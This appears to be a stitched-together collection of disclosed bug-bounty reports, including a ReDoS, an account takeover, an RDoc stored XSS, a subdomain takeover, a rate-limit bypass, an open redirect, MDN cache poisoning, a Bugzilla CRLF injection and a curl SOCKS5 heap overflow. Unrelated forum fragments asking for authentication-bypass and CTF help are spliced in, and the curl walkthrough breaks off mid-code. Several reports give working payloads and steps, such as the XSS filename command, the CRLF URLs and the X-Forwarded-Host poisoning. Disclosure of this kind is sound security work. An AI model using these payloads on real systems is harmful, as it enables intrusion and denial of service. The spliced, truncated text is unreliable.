[Uncontrolled Resource Consumption] Regular Expression Denial of Service vulnerability

## Summary:
The vulnerability I have found is classified as a Regular Expression Denial of Service. While inspecting the source code file [RealtimeGQLSubscriptionAsync.js](https://www.redditstatic.com/desktop2x/RealtimeGQLSubscriptionAsync.226119a9ae841bb563eb.js) I came across the node_module subscriptions-transport-ws (See Screenshot 1). The search result of the [subscriptions-transport-ws package](https://www.npmjs.com/package/subscriptions-transport-ws)  on npmjs.com displayed a large deprecation warning at the top of the page (See Screenshot 2) so I decided to research further. The read-me file within the package [github repository](https://github.com/apollographql/subscriptions-transport-ws) states that the package has been largely unmaintained since 2018 and that users should migrate to graphql-ws (See Screenshot 3). Doing a [quick search in the issues tab](https://github.com/apollographql/subscriptions-transport-ws/issues?q=is%3Aissue+is%3Aclosed+vulnerability) for the keyword "vulnerability" I came across an issue where the github user PabloJomer pointed out that the package.json lists a vulnerable dependency called ws (See Screenshot 4) The vulnerable package is listed on the NIST National Vulnerability Database under [CVE-2021-32640](https://nvd.nist.gov/vuln/detail/CVE-2021-32640) with a Base Score of 5.3. Further details and a PoC can be found on the Snyk Vulnerability database located [here](https://security.snyk.io/vuln/SNYK-JS-WS-1296835) (See Screenshot 5).

The policy has some conflicting information so I wasn't exactly sure about what I should do about this vulnerability. The out-of-scope section states "Previously known vulnerabilities without a working Proof of Concept" but two sections later it is states to not attempt denial of services attacks. (See screenshot 5) The vulnerability I have found is a Regular expression denial of service but I am strictly forbidden from attempting any denial of service attacks. I believe I have clearly outlined the existence of a vulnerable dependency within you domain and if given the opportunity I could successfully execute the PoC vulnerability as described in the snyk link mentioned above.

## Impact:
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

## Supporting Material/References:
[OWASP - Regular expression Denial of Service - ReDos](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)

## Impact

The ReDos vulnerability can be used to take down your entire site.


[Business Logic Errors] Unauthorized access to PII leads to MASS account Takeover

Hi, I hope you doing well
I found a critical endpoint which disclosed the personal information which can use to takeover any account present on https://██████████
#Steps:
1. Visit the link https://www.████████/███████    you will get my details,  including first name and last name, mobile number and email_address related to the account.
2. Go to the forgot password link present at https://www.███████/ click on it.
3. Enter the mail address later you will be taken to another page which will ask you to enter mail address and pin
4. After entering mail address enter the pin as "████" as █████████ is at the endpoint.
5. It will validate and will ask you to change the password of that account.

###Note:  To get email list and pin list just decrease the number at the endpoint
for example https://www.████████/███will give you another mail_address and pin will be ██████████

## Impact

An attacker can able to takeover any account that is present on that side.


[Cross-site Scripting (XSS) - Stored] XSS exploit of RDoc documentation generated by rdoc

When creating  an RDoc html documentation, there is a possibility to inject malicious code through file name.

# PoC

```bash
~ $ touch \"\>\<object\ src\=1\ onerror\=\"javascript\:alert\(1\)\;\"\>Controlling\ what\ is\ documented\ here
~ $ ls
"><object src=1 onerror="javascript:alert(1);">Controlling what is documented here
~ $ rdoc --all
```

Now, the generated index file has injected javascript code:

```html
...
<li><a href="./"><object src=1 onerror="javascript:alert(1);">Controlling what is documented here.html">"><object src=1 onerror="javascript:alert(1);">Controlling what is documented here</a>
...
```

I set to the vulnerability the same severity as CVE-2013-0256 has, since rdoc is widely used on dev/production systems online documentation, etc.  An attacker can hide a bad-named-file deep in the project structure to be stealthy. Also,  the file can be very tricky-named in documentation list, can contain the real documentation code, and so as not to arouse suspicion for some time.

## Impact

The injected code can exfiltrate data or install malware on the (user|developer)’s machine, etc.


[Unknown] Subdomain Takeover

Hi team,
Actually team this bug is similar to my previous bug which I submitted-██████

Issue details:-
Subdomain takeover vulnerabilities occur when a subdomain (subdomain.example.com) is pointing to a service (e.g. GitHub pages, Heroku, etc.) that has been removed or deleted. This allows an attacker to set up a page on the service that was being used and point their page to that subdomain. For example, if subdomain.example.com was pointing to a GitHub page and the user decided to delete their GitHub page, an attacker can now create a GitHub page, add a CNAME file containing subdomain.example.com, and claim subdomain.example.com.
Here  is motiondesign.geekbrains.ru, wantdigital.geekbrains.ru, productowner.geekbrains.ru subdomains pointing towards unclimed readymag page so this domain can be taken over and can be used to do any type of attacks mostly i can make a fake login page on your behalf and spoof your users, this is a critical vulnerability and needs to be fixed.

Vulnerable url:-
https://motiondesign.geekbrains.ru/
https://wantdigital.geekbrains.ru/
https://productowner.geekbrains.ru/

Poc:-
https://domains.readymag.com/

Note: every subdomain are pointing to same cname.

Fix:-
Remove the cname entry or claim the subdomain.

## Impact

Risk
fake website
malicious code injection
users tricking
company impersonation
This issue can have really huge impact on the companies reputation someone could post malicious content on the compromised site and then your users will think it's official but it's not.


[Improper Restriction of Authentication Attempts] Memcached used as RateLimiter backend is no-op

## Summary:
When Memcached is used as backend:
https://github.com/nextcloud/server/blob/c705b8fcb3de7910e67cd2ed2d2b38653f58962a/lib/private/Server.php#L787-L799

The following code block is problematic:
https://github.com/nextcloud/server/blob/90104bc1c448c6da2fd3e052fca75bb3fb261c87/lib/private/Memcache/Memcached.php#L135-L139

I guess we need to check the actual cache type and use the DB backend when Memcached is used?

## Impact

Any action that partly resets any cache entry will wipe rate limit attempts and future bruteforce protection (with https://github.com/nextcloud/server/pull/39870 )


[Information Disclosure] Disclose STUFF member name and make actions.

Hello Shopify Security Team!

 Bug Summary:
=============

Based on the report #968165, this also can retrieve the STUFF member name and can send messages using his name.

 Reproduction steps:
=============
  - install shopify chat applications.

Start Exploit #1 :
=============
+ Go to targeted store :
+ Start a chat using the app with the store support.
+ Click on _I need an update on my order_.
+ fill out the Order ID and Email. ( fill the info randomly if you want to), the respond comes with message "in order to provide you with ....".
+  I intercept the the post request, and inject changes in the request,
+ In this exploit allowed the attacker to send messages like a team member (bot)

{F965084}

Example : i changed text element  to " Hello customer hahaha "

Result :
========

poc from shopify ping application ( STUFF side )

{F965081}

 Start Exploit #2 :
=============
+ Go to targeted store :
+ Start a chat using the app with the store support.
+ As soon as you get the answer.
+ I intercept the message request, i found the STUFF member name and ID.

{F965077}

{F965078}

## Impact

Can retrive STUFF info,  not allowed !


[Open Redirect] Open redirection at https://smartreports.mtncameroon.net

## Summary:
Hello,
I found open redirection on https://smartreports.mtncameroon.net

## Steps To Reproduce:
1. Go to https://smartreports.mtncameroon.net//example.com/..;/css

2. Redirection to example.com

## Impact

Open redirection vulnerability can redirect users to malicious sites that harm users


[Cache Poisoning] DOS via cache poisoning on [developer.mozilla.org]

## Summary:
Hello, after some research it appears that it is possible for an attacker to perform a DOS attack on the https://developer.mozilla.org page for an indefinite period.
This is possible by adding an ```X-Forwarded-Host``` header and a value causing an error on the back-end side (error 404), the bad configuration of the cache makes it possible to save the response there and to serve it to users visiting the page, making the page completely inaccessible for an indefinite period.
No information about the caching period is available in the response, but it is anyway possible to reinterpret the manipulation indefinitely.
For obvious reasons I performed my tests using a cache-buster - adding a URL parameter as we will see in the POC - so as not to affect the user experience.

## Steps To Reproduce:

  1. Pass your HTTP requests through your preferred proxy
  2. Go to : https://developer.mozilla.org then - in your proxy - send the request to your repeater
  3. Add the parameter of your choice to the URL, it will serve as a cache-buster and will not "poison" the site visited by users. In other words, the DOS will only be effective on the URL containing your parameter, you probably know this but let me clarify: this is very important in order not to damage the services.
  4. Add the following header :

```
X-Forwarded-Host: XXX
```
The request ready to send (```?my_cache_buster=test```) being my cache-buster :

{F2339007}

Once the request has been sent, the response will - as expected - contain a 404 error. Open another browser in incognito mode, and enter the full URL containing your cache-buster. You should get a 404 error. If this is still not the case, resend the request several times until the cache is poisoned :

{F2339009}

## Impact

An attacker can perform this attack (without a cache-buster this time) in order to make the service unavailable indefinitely. It is also possible in the case where the cache will be reset to make a small script to send requests every minute (for example) so that the cache is permanently poisoned making the site completely unavailable and causing financial damage to the company.


Can someone help with Bypassing Authentication please? I tried hydra (but I can’t get around redirect) and a lot of SQL injection techniques, nothing is working UPDATE: I actually managed to do this with a popular mapping tool…


[CRLF Injection] Security bug https://bugzilla.mozilla.org/oauth/authorize - CRLF Header injection via "redirect_uri" parameter

## Summary:
CRLF / HTTP Header Injection.
Allows you to set any headers/etc (Set-Cookie...)
Page: https://bugzilla.mozilla.org/oauth/authorize
Parameter: redirect_uri

## Steps To Reproduce:
PoC - does not require authorization:

1. https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=%0d%0axxx:something&response_type=code
2. or (with true redirect): https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=\\name.tld%0d%0axxx:something&response_type=code
HTTP response:
```
HTTP/2 302
server: nginx
date: Tue, 21 Feb 2023 12:04:22 GMT
content-length: 0
content-security-policy: default-src 'self'; worker-src 'none'; connect-src 'self' https://product-details.mozilla.org https://www.google-analytics.com https://treeherder.mozilla.org/api/failurecount/ https://crash-stats.mozilla.org/api/SuperSearch/; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: blob: https://secure.gravatar.com; object-src 'none'; script-src 'self' 'nonce-kYhs2ysp5D5M1gt2i2uKTFaJyxLN8Qm7O112v7Vt6J4dWGrf' 'unsafe-inline' https://www.google-analytics.com; style-src 'self' 'unsafe-inline'; frame-src https://crash-stop-addon.herokuapp.com; frame-ancestors 'self'; form-action 'self' https://www.google.com/search https://github.com/login/oauth/authorize https://github.com/login https://phabricator.services.mozilla.com/ https://people.mozilla.org
location:
xxx: something?error=invalid_scope
referrer-policy: same-origin
strict-transport-security: max-age=31536000; includeSubDomains
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
via: 1.1 google
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
```

## Impact

## Summary:
Possible manipulation of user session / open redirect.


It’s awesome that you’re diving into the world of Penetration Testing and tackling those CTF challenges. They can be mind-bending, right?


[Heap Overflow] CVE-2023-38545: socks5 heap buffer overflow

# Summary:

The SOCKS5 state machine can be manipulated by a remote attacker to overflow heap memory if four conditions are met:

1. The request is made via socks5h.
2. The state machine's negotiation buffer is smaller than ~65k.
3. The SOCKS server's "hello" reply is delayed.
4. The attacker sets a final destination hostname larger than the negotiation
buffer.

libcurl is supposed to disable SOCKS5 remote hostname resolution for hostnames larger than 255 but will not due to a state machine bug.

For example tor user running libcurl app with follow location that connects to rogue onion server that replies with payload in `Location:` header which causes crash or worse.

# Walkthrough:

`do_SOCKS` initializes local variable `socks5_resolve_local` depending on the `CURLPROXY_` name. There are two relevant names for this state machine:

- `CURLPROXY_SOCKS5` (SOCKS5 with local resolve of dest host)
- `CURLPROXY_SOCKS5_HOSTNAME` (SOCKS5 with remote resolve of dest host)

[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L573-L574)
~~~c
  bool socks5_resolve_local =
    (conn->socks_proxy.proxytype == CURLPROXY_SOCKS5) ? TRUE : FALSE;
~~~

For this scenario, `CURLPROXY_SOCKS5_HOSTNAME` is the name and `socks5_resolve_local` is initialized FALSE.

The `do_SOCKS` state machine is entered for the first time for the connection. `sx->state` is `CONNECT_SOCKS_INIT` (which happens to be the first label). In that state the hostname length is checked and if too long to resolve remotely (>255) then it sets `socks5_resolve_local` to TRUE.

[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L588-L593)
~~~c
    /* RFC1928 chapter 5 specifies max 255 chars for domain name in packet */
    if(!socks5_resolve_local && hostname_len > 255) {
      infof(data, "SOCKS5: server resolving disabled for hostnames of "
            "length > 255 [actual len=%zu]", hostname_len);
      socks5_resolve_local = TRUE;
    }
~~~

The local variable `socks5_resolve_local` is changed but, because this is a state machine, subsequent calls to `do_SOCKS` are in a different state and do not make the same change. ==**This is the bug.**==

For this scenario, the hostname is longer than 255 characters and `do_SOCKS` is on a subsequent call, which means `socks5_resolve_local` remains FALSE. This can happen by chance or be forced by an attacker.

The client "hello" SOCKS packet contains available methods and is sent to the server. State `CONNECT_SOCKS_READ_INIT` => `CONNECT_SOCKS_READ` is entered to parse the server "hello" packet (method selection reply). The server has not yet replied so `do_SOCKS` returns `CURLPX_OK`.

[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L640-L662)
~~~c
CONNECT_SOCKS_READ_INIT:
  case CONNECT_SOCKS_READ_INIT:
    sx->outstanding = 2; /* expect two bytes */
    sx->outp = socksreq; /* store it here */
    /* FALLTHROUGH */
  case CONNECT_SOCKS_READ:
    presult = socks_state_recv(cf, sx, data, CURLPX_RECV_CONNECT,
                               "initial SOCKS5 response");
    if(CURLPX_OK != presult)
      return presult;
    else if(sx->outstanding) {
      /* remain in reading state */
      return CURLPX_OK;
    }
    else if(socksreq[0] != 5) {
      failf(data, "Received invalid version in initial SOCKS5 response.");
      return CURLPX_BAD_VERSION;
    }
    else if(socksreq[1] == 0) {
      /* DONE! No authentication needed. Send request. */
      sxstate(sx, data, CONNECT_REQ_INIT);
      goto CONNECT_REQ_INIT;
    }
~~~

On a subsequent call `do_SOCKS` is in the same state where it's waiting for the initial server reply. If the reply is valid, and in this scenario it is, then the state machine will goto `CONNECT_REQ_INIT` which will goto `CONNECT_RESOLVE_REMOTE` since `socks5_resolve_local` is FALSE.

[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L781-L797)
~~~c
CONNECT_REQ_INIT:
  case CONNECT_REQ_INIT:
    if(socks5_resolve_local) {
      enum resolve_t rc = Curl_resolv(data, sx->hostname, sx->remote_port


Hey, I have been stuck in getting the second flag. Any hints are appreciated!